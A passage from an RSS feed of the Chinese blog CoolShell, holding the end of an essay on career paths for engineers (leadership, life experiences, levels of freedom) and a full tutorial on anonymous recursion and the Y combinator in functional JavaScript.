。也就是说，30岁左右这群人是这个社会的做事的中坚力量。</strong></p>\n<p>所以，这是一个机遇！如果你有了Leadership，你就一定能在这个时间段内赶得上这个机遇——公司和领导对你寄于信任和厚望，并把重要的团队和工作交给你。</p>\n<p>于是，你的30岁到40岁就成了一个职业生涯的发展期，也就是你的事业上升期。如果你到40岁都没有赶上，那么你的职业生涯也就这样了，老有所成的人是少数。</p>\n<p>在你事业的上升期，你需要更多的软技能，比如：</p>\n<ul>\n<li>带领产品和业务的发展的能力</li>\n<li>推行自己喜欢的文化的能力</li>\n<li>项目管理的能力——在任务重、时间紧中求全</li>\n<li>沟通和说服别人的能力</li>\n<li>解决冲突的能力</li>\n<li>管理和发展团队的能力</li>\n<li>解决突发事件的应急能力</li>\n<li>…… ……</li>\n</ul>\n<p>另外，你还要明白在职场里的几个冷酷的事实：</p>\n<ul>\n<li><strong>你开始要关心并处理复杂的人事</strong>。尤其在大公司，大量的人都是屁股决定脑袋，利益关系复杂，目标不一致，每个人心里都有不一样的想法。这个时候再也不是talk is cheap, show me the code！而是，code is cheap，talk is the matter。你需要花大量的时间去思考和观察形形色色的人。需要耗费大量的精力在不同的人之间周旋，而不是花时间去创造些什么有价值的东西。</li>\n</ul>\n<ul>\n<li><strong>你要开始学会使用各种政治手段</strong>。办公室政治不可避免，越大的公司越重，自从你开始成为一线的leader的那一天起，你就开始成为“里外不是人”的角色，需要在下属和领导，员工和公司之间周旋。随而你的级别越来越高，你需要使用更多的政治手段，你会学会审时度世的站队，学会迎合员工和领导，学会用官员的语言说话，学会此一时彼一时，学会妥协和交换，学会忍气吞声，学会在在适当的时机表现自己，学会波澜不惊，学会把自己隐藏起来，甚至你还会迷失自我，开始学会一些厚黑学，比如不得不在适当的时机在背后捅人刀子……你可能会成为一个你自己都讨厌的人</li>\n</ul>\n<p>听上去真的好无聊，所以，你现在也明白为什么高层们都看上去很忙很累，而且抽不出时间来关心细节问题，因为，他们更多的是要协调整个组织和系统来运转，甚至还要四处周旋，各种博弈，没办法，这是职场的必需的东西！听起来是不是感觉人类很愚蠢？这真是没办法的事。如果你不想或是也没有能力玩这些东西，那么你需要去那些可以让技术人员安安心心做技术的公司。这类的公司，我见过Microsoft、Google、Amazon或是一些创业公司里都有。国内的大公司中也有让技术人员成长的职业成长线，但老实说，表面上看似是一个让人专心做技术的升职成长线，但其实还是管理岗位。</p>\n<p>所以，<strong>技术人员在职场中的归宿有两条路 —— 到真正的技术公司成为一个专心做技术的人，或是在成为一个职业的经理人</strong>。</p>\n<p>&nbsp;</p>\n<h4>二、追求人生的经历</h4>\n<p>先说三个故事，</p>\n<ul>\n<li>第一个，是在阿里的时候，有一天在内网里看到一个贴子，一个做产品的女孩说自己准备离职要去法国学烘培厨艺，引得大家热评。</li>\n</ul>\n<ul>\n<li>第二个，是在亚马逊的美国老板，他每年都要去报个培训班学一个技能，比如：厨艺、开双翼飞机、夜总会里的DJ……、甚至去华盛顿去学当一个政客。</li>\n</ul>\n<ul>\n<li>第三个，是在汤森路透工作时，一个英国的同事，有一天他说他离职了，和自己的老婆准备用余生去周游世界，我问他是不是有足够多的钱了？他和我说，钱不够，他俩口子的计划是，边旅游边打工，打工打够到下一站的钱就走。他还说，那种用假期去另一个城市的旅游太没意思了，如果你不在那个地方生活上一段时间 ，你怎么能算是好的旅游体验呢？好吧，无法反驳。</li>\n</ul>\n<p>我是觉得他们把自己的人生过得如此有意思，令我很佩服。虽然跨界跨得有点猛，但是 Why Not？</p>\n<p>在这里，我想说，去追求一种和众人不一样的人生经历也是一件挺好的事，我个人感觉，比起在职场里有趣地多多了。如果你厌倦了职场，其实为什么不去追求一下不同的人生经历呢。就算你不想去追求跨度比较大的人生经历，那么，在技术圈里，也有很多有价值有意思的经历也可以去的。<strong>追求刺激有意义的与众不同的经历的人，其实也能算是一种人生的成功，不是吗？</strong></p>\n<p>如果只说技术方面，我个人看到的去追求经历的人，有两种追求的人其实也很成功的：</p>\n<ul>\n<li><strong>到技术创新的发源地去经历创新</strong>。计算机互联网各种技术的创新引擎，基本上来说，就是在美国了。我们赶上了这个时代，也选对了这个时代最火热的行业，那么，有什么理由不去这个时代的技术发动机那里去经历呢？在美国硅谷湾区，无论是大公司，还是创业公司，都在迸发着各式各样的创新，如果有能力有机会，为什么不努力去经历一下呢？不经历一下，老了不会觉得错过了是一种后悔吗？</li>\n</ul>\n<ul>\n<li><strong>去经历下一个热点技术的发展</strong>。从IT，到互联网、再到移动互联网、云计算、大数据，再到未来的AI，VR，IoT……，技术创新的浪潮一波接一波的过来，你是想在那继续搬砖搬下去，是想迎浪而上去经历浪潮，还是想成为一个随波逐流的人？</li>\n</ul>\n<p>打工也好，创业也好，在国内也好，在国外也好，这些都是形式，不是内容。内容则是你有没有和有想法的人去经历有意义有价值事？人生苦短，白驹过隙，我们技术人员最大的幸运就是生在这样一个刺激的时代，那么，你还有什么理由不去追逐这些前沿刺激的经历呢？</p>\n<h4>三、追求自由的生活</h4>\n<p>我相信“自由”这个事，是所有人的心中都会想去追求的。“生命诚可贵，爱情价更高，…… ”（哈哈）</p>\n<p>但一说起自由，绝大多数人都想到的是“财富自由”或是“财务自由”，其实，并不完全是这样的，在自由的通路上，我个人的经历告诉我，其实，你会有很多的不同类型的自由。下面，是我对几个层次的“自由”的理解。</p>\n<p><strong>第一层自由——工作自由</strong>。人的第一层自由的境界是——“工作自由”，我到不是说你在工作单位上可以很自由，虽然有特例，但并不普遍。我想说的“工作自由”是——你不会有失业危机感了。也就是说，你成了各个公司的抢手货，你不但不愁找不到工作，而且你是完全不愁找不到好工作。试想一下，如果是工作来找你，一方面，你就有真正意义上的工作选择权了，另一方面，你都不愁工作了，你完全就可以随时离职去干你想干的事了。此时，你就达到了“工作自由”。</p>\n<p><strong>第二层自由——技能自由</strong>。工作自由已是不错，不过前提是你还是需要依赖于别人提供的工作机会。而技能自由则是你可以用自己的技能养活自己，而不需要去公司里工作。也就是所谓的自由职业者了，社会上，这样的人也不少，比如，一些健身体育教练、设计师、翻译者、作者……这些都可以算是自由职业者，程序员这个职业中只要不是搬砖的，有想法的，就有可以成为自由积业者的潜质，想一想，你拥有的编程能力，其实是一种创造的能力，也就是创造力，只要你Make Something People Want（YC创业公司的slogan），你是完全可以通过自己的技能来养活自己的。如果你通过某些自动化的东西，或是你在App上做了一个软件个体户，让自己的收入不断，甚至你做了一个开源软件，社区每个月都给你捐款捐到比你打工挣的还多，那么你就真正的有了技能自由了。</p>\n<p><strong>第三层自由——物质自由。</strong>我把财务自由换了一种说法。我个人觉得，除了有个好爸爸之外这种特例的情况，如果你想有物质自由的话，本质上来说，你一定要学会投资，投资不一定是你的钱，时间也是一种财富，年轻更是，你怎么投资你的时间还有你的青春？你要把你的投资投到什么样的事，什么样的人？对于投资这个事，风险也比较大。但是，人生不敢冒险可能才是最大的冒险。这个世界有很多技术不是你能看书学来的，而要只能在实战中学会的，比如：游泳。投资可能也是一种。只有真正懂投资的人，或是运气非常好的人，才可能实现物质自由。</p>\n<p>追求自由的生活，其实也是个人发展道路上的一个不错的选择。通常来说，自由的人，能力都不差，钱也不会少。因为，他们懂得投资。</p>\n<p>也就是说，拥有追求自由能力的的人，</p>\n<ul>\n<li>不但有领导力和创造力（也可指导大多数人并走在大多数人前面）</li>\n<li>同时他还懂得怎么投资（知道时间和精力和金钱应该投在什么地方）</li>\n</ul>\n<p>（注：这里我没有提精神自由，老实说，精神上的自由我也不清楚是什么东西，因为我还没有见过，眼界有限，所以先按不表了，不然真成鸡汤文了）</p>\n<h4>总结</h4>\n<p>无论是在职场中打拼，还是追求精彩的经历，还是去实现自由，我觉得都是不错的个人发展的方向。</p>\n<p>他们都有重叠，比如：</p>\n<ul>\n<li>你可以在职场中去追求那些刺激的经历的公司。</li>\n<li>同样也可以通过加入有潜力高速发展的公司来达到自由。</li>\n<li>你也可以通过追寻不一样的经历来达到人生的自由。</li>\n<li>……</li>\n</ul>\n<p><strong>总之，这里的逻辑是——</strong></p>\n<ul>\n<li><strong>能够去规划自己的个人发展的人，通常都是有很多机会和可能性的人</strong>。</li>\n</ul>\n<ul>\n<li><strong>有很多机会和可能性的人，通常都是有Leadership，喜欢冒险的人。</strong></li>\n</ul>\n<ul>\n<li><strong>有Leadership喜欢冒险的人，通常都是学习能力强，思维活跃，喜欢折腾，懂得“投资”的人。</strong></li>\n</ul>\n<ul>\n<li><strong>学习能力强思维活跃的人，通常来说，都是喜欢看书，喜欢实践和新鲜事物，不怕艰难和挑战，用智力而不是使蛮力的人。</strong></li>\n</ul>\n<ul>\n<li><strong>懂得“投资”的人，通常来说，他们更多的关注的是未来和长远的成长，而不是当下的KPI、奖金和晋升。</strong></li>\n</ul>\n<p>&nbsp;</p>\n<figure id=\"attachment_17592\" aria-describedby=\"caption-attachment-17592\" style=\"width: 700px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-17592\" src=\"https://coolshell.cn/wp-content/uploads/2016/12/up.jpg\" alt=\"电影《飞屋环游记》\" width=\"700\" height=\"322\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/12/up.jpg 700w, https://coolshell.cn/wp-content/uploads/2016/12/up-300x138.jpg 300w, https://coolshell.cn/wp-content/uploads/2016/12/up-587x270.jpg 587w\" sizes=\"(max-width: 700px) 100vw, 700px\" /><figcaption id=\"caption-attachment-17592\" class=\"wp-caption-text\"><center>插图来自电影《飞屋环游记》</center></figcaption></figure>\n<p style=\"text-align: center;\"><strong>最后祝大家新年快乐，来年大展鸿图。</strong></p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice-150x150.jpg\" alt=\"程序算法与人生选择\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_title\">程序算法与人生选择</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"你和你的工作\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_title\">你和你的工作</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17583.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>192</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何读懂并写出装逼的函数式代码</title>\n\t\t<link>https://coolshell.cn/articles/17524.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17524.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 23 Oct 2016 09:56:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Closure]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Y combinator]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17524</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天在微博上看到了 有人分享了下面的这段函数式代码，我把代码贴到下面，不过我对原来的代码略有改动，对于函数式的版本，咋一看，的确令人非常费解，仔细看一下，你可能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17524.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-300x204.jpg\" alt=\"drawing-recursive\" width=\"300\" height=\"204\" class=\"alignright size-medium wp-image-17535\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-300x204.jpg 300w, https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-768x522.jpg 768w, https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-1024x696.jpg 1024w, https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-397x270.jpg 397w, https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive.jpg 1100w\" sizes=\"(max-width: 300px) 100vw, 300px\" />今天在微博上看到了 有人<a href=\"http://weibo.com/1655747731/Ee4gU0qNn\" target=\"_blank\">分享了下面的这段函数式代码</a>，我把代码贴到下面，不过我对原来的代码略有改动，对于函数式的版本，咋一看，的确令人非常费解，仔细看一下，你可能就晕掉了，似乎完全就是天书，看上去非常装逼，哈哈。不过，我感觉解析那段函数式的代码可能会一个比较有趣过程，而且，我以前写过一篇《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\">函数式编程</a>》的入门式的文章，正好可以用这个例子，再升华一下原来的那篇文章，顺便可以向大家更好的介绍很多基础知识，所以写下这篇文章。</p>\n<h4>先看代码</h4>\n<p>这个代码平淡无奇，就是从一个数组中找到一个数，O(n)的算法，找不到就返回 null。</p>\n<p>下面是正常的 old-school 的方式。不用多说。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i &lt; x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))</pre>\n<p>结果到了函数式成了下面这个样子（好像上面的那些代码在下面若影若现，不过又有点不太一样，为了消掉if语言，让其看上去更像一个表达式，动用了 ? 号表达式）：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">//函数式的版本\nconst find = ( f =&gt; f(f) ) ( f =&gt;\n  (next =&gt; (x, y, i = 0) =&gt;\n    ( i &gt;= x.length) ?  null :\n      ( x[i] == y ) ? i :\n        next(x, y, i+1))((...args) =&gt;\n          (f(f))(...args)))\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))</pre>\n<p>为了讲清这个代码，需要先补充一些知识。</p>\n<p><span id=\"more-17524\"></span></p>\n<h4>Javascript的箭头函数</h4>\n<p>首先先简单说明一下，ECMAScript2015 引入的箭头表达式。箭头函数其实都是匿名函数，其基本语法如下：</p>\n<blockquote>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">(param1, param2, …, paramN) =&gt; { statements } \n(param1, param2, …, paramN) =&gt; expression\n     // 等于 :  =&gt; { return expression; } \n\n// 只有一个参数时,括号才可以不加:\n(singleParam) =&gt; { statements }\nsingleParam =&gt; { statements }\n\n//如果没有参数,就一定要加括号:\n() =&gt; { statements }</pre>\n</blockquote>\n<p>下面是一些示例：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var simple = a =&gt; a &gt; 15 ? 15 : a; \nsimple(16); // 15\nsimple(10); // 10\n\nlet max = (a, b) =&gt; a &gt; b ? a : b;\n\n// Easy array filtering, mapping, ...\n\nvar arr = [5, 6, 13, 0, 1, 18, 23];\nvar sum = arr.reduce((a, b) =&gt; a + b);  // 66\nvar even = arr.filter(v =&gt; v % 2 == 0); // [6, 0, 18]\nvar double = arr.map(v =&gt; v * 2);       // [10, 12, 26, 0, 2, 36, 46]</pre>\n<p>看上去不复杂吧。不过，上面前两个 simple 和 max 的例子都把这箭头函数赋值给了一个变量，于是它就有了一个名字。有时候，某些函数在声明的时候就是调用的时候，尤其是函数式编程中，一个函数还对外返回函数的时候。比如下在这个例子：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function MakePowerFn(power) {\n  return function PowerFn(base) {\n    return Math.pow(base, power);\n  } \n}\n\npower3 = MakePowerFn(3); //制造一个X的3次方的函数\npower2 = MakePowerFn(2); //制造一个X的2次方的函数\n\nconsole.log(power3(10)); //10的3次方 = 1000\nconsole.log(power2(10)); //10的2次方 = 100</pre>\n<p>其实，在 MakePowerFn 函数里的那个 PowerFn 根本不需要命名，完全可以写成：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function MakePowerFn(power) {\n  return function(base) {\n    return Math.pow(base, power);\n  } \n}</pre>\n<p>如果用箭头函数，可以写成：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">MakePowerFn = power  =&gt; {\n  return base =&gt; {\n    return Math.pow(base, power);\n  } \n}</pre>\n<p>我们还可以写得更简洁（如果用表达式的话，就不需要 { 和 }， 以及 return 语句 ）：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">MakePowerFn = power =&gt; base =&gt; Math.pow(base, power)</code></p>\n<p>我还是加上括号，和换行可能会更清楚一些：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">MakePowerFn = (power) =&gt; (\n  (base) =&gt; (Math.pow(base, power))\n)</pre>\n<p>好了，有了上面的知识，我们就可以进入一个更高级的话题——匿名函数的递归。</p>\n<h4>匿名函数的递归</h4>\n<p>函数式编程立志于用函数表达式消除有状态的函数，以及for/while循环，所以，在函数式编程的世界里是不应该用for/while循环的，而要改用递归（递归的性能很差，所以，一般是用尾递归来做优化，也就是把函数的计算的状态当成参数一层一层的往下传递，这样语言的编译器或解释器就不需要用函数栈来帮你保存函数的内部变量的状态了）。</p>\n<p>好了，那么，匿名函数的递归该怎么做？</p>\n<p>一般来说，递归的代码就是函数自己调用自己，比如我们求阶乘的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nfunction fact(n){\n  return n==0 ? 1 :  n * fact(n-1);\n};\nresult = fact(5);\n</pre>\n<p>在匿名函数下，这个递归该怎么写呢？对于匿名函数来说，<b>我们可以把匿名函数当成一个参数传给另外一个函数，因为函数的参数有名字，所以就可以调用自己了</b>。 如下所示：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function combinator(func) {\n  func(func);\n}</pre>\n<p>这个是不是有点作弊的嫌疑？Anyway，我们再往下，把上面这个函数整成箭头函数式的匿名函数的样子。</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">（func) =&gt; (func(func)) </code></p>\n<p>现在你似乎就不像作弊了吧。把上面那个求阶乘的函数套进来是这个样子：</p>\n<p>首先，先重构一下fact，把fact中自己调用自己的名字去掉：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function fact(func, n) {\n  return n==0 ? 1 :  n * func(func, n-1);\n}\n\nfact(fact, 5); //输出120\n</pre>\n<p>然后，我们再把上面这个版本变成箭头函数的匿名函数版：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nvar fact = (func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) )\nfact(fact, 5)\n</pre>\n<p>这里，我们依然还要用一个fact来保存这个匿名函数，我们继续，我们要让匿名函数声明的时候，就自己调用自己。</p>\n<p>也就是说，我们要把 </p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">(func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) )</code> </p>\n<p>这个函数当成调用参数，传给下面这个函数：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">(func, x) =&gt; func(func, x) </code></p>\n<p>最终我们得到下面的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\"> \n( (func, x) =&gt; func(func, x) ) (  //函数体\n  (func, n) =&gt; ( n==0 ? 1 :  n * func(func, n-1) ), //第一个调用参数\n  5 //第二调用参数\n); </pre>\n<p>好像有点绕，anyway, 你看懂了吗？没事，我们继续。</p>\n<h4>动用高阶函数的递归</h4>\n<p>但是上面这个递归的匿名函数在自己调用自己，所以，代码中有hard code的实参。我们想实参去掉，如何去掉呢？我们可以参考前面说过的那个 MakePowerFn 的例子，不过这回是递归版的高阶函数了。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">HighOrderFact = function(func){\n  return function(n){\n    return n==0 ? 1 : n * func(func)(n-1);\n  };\n};</pre>\n<p>我们可以看，上面的代码简单说来就是，<b>需要一个函数做参数，然后返回这个函数的递归版本</b>。那么，我们怎么调用呢？</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">fact = HighOrderFact(HighOrderFact);\nfact(5); </pre>\n<p>连起来写就是：<br />\n<code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">HighOrderFact ( HighOrderFact ) ( 5 )</code></p>\n<p>但是，这样让用户来调用很不爽，所以，以我们一个函数把 <b> HighOrderFact ( HighOrderFact ) </b> 给代理一下：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">fact = function ( hifunc ) {\n  return hifunc ( hifunc );\n} (\n  //调用参数是一个函数\n  function (func) { \n    return function(n){\n      return n==0 ? 1 : n * func(func)(n-1);\n    };\n  }\n);\n\nfact(5); //于是我们就可以直接使用了</pre>\n<p>用箭头函数重构一下，是不是简洁了一些？</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">fact = (highfunc =&gt; highfunc ( highfunc ) ) (\n  func =&gt; n =&gt;  n==0 ? 1 : n * func(func)(n-1)\n);</pre>\n<p>上面就是我们最终版的阶乘的函数式代码。</p>\n<h4>回顾之前的程序</h4>\n<p>我们再来看那个查找数组的正常程序：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i &lt; x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}</pre>\n<p>先把for干掉，搞成递归版本：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function find (x, y, i=0) {\n  if ( i &gt;= x.length ) return null;\n  if ( x[i] == y ) return i;\n  return find(x, y, i+1);\n}</pre>\n<p>然后，写出带实参的匿名函数的版本（注：其中的if代码被重构成了 ？号表达式）：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">( (func, x, y, i) =&gt; func(func, x, y, i) ) (  //函数体\n  (func, x, y, i=0) =&gt; (\n      i &gt;= x.length ?  null :\n         x[i] == y  ?  i : func (func, x, y, i+1)\n  ), //第一个调用参数\n  arr, //第二调用参数\n  2 //第三调用参数\n)</pre>\n<p>最后，引入高阶函数，去除实参：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">const find = ( highfunc =&gt; highfunc( highfunc ) ) (\n   func =&gt; (x, y, i = 0) =&gt; (\n     i &gt;= x.length ?  null :\n           x[i] == y  ?  i : func (func) (x, y, i+1)\n   )\n);</pre>\n<p>注：函数式编程装逼时一定要用const字符，这表示我写的函数里的状态是 immutable 的，天生骄傲！</p>\n<p>再注：我写的这个比原来版的那个简单了很多，原来版本的那个又在函数中套了一套 next， 而且还动用了不定参数，当然，如果你想装逼装到天上的，理论上来说，你可以套N层，呵呵。</p>\n<p><b>现在，你可以体会到，如此逼装的是怎么来的了吧？</b>。</p>\n<h4>其它</h4>\n<p>你还别说这就是装逼，简单来说，我们可以使用数学的方式来完成对复杂问题的描述，那怕是递归。其实，这并不是新鲜的东西，这是Alonzo Church 和 Haskell Curry 上世纪30年代提出来的东西，这个就是 Y Combinator 的玩法，关于这个东西，你可以看看下面两篇文章：</p>\n<p>《<a href=\"http://mvanier.livejournal.com/2897.html\" target=\"_blank\">The Y Combinator (Slight Return)</a>》，</p>\n<p>《<a href=\"https://en.wikipedia.org/wiki/Fixed-point_combinator\" target=\"_blank\">Wikipedia: Fixed-point combinator</a>》</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a> first appeared on <a 